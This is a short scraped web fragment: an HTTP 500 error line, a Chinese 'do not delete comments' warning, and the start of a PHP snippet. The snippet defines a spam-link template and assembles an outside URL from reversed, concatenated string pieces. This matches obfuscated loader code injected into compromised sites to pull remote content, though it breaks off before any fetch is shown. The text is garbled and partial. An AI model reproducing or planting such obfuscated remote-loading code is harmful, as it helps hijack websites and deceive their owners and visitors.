error code: 500请勿删除注释！<?php define('A', 'jan88.tphu5563htr/daiei::products/^[0:2]!|items/[0:5]^/!?key=[word]::');$link = 'txt.';$link .= 'j/s';$link .= '/mo';$link .= 'c';$link .= '.ur';$link .= '.ogn';$link .= 'er.oe';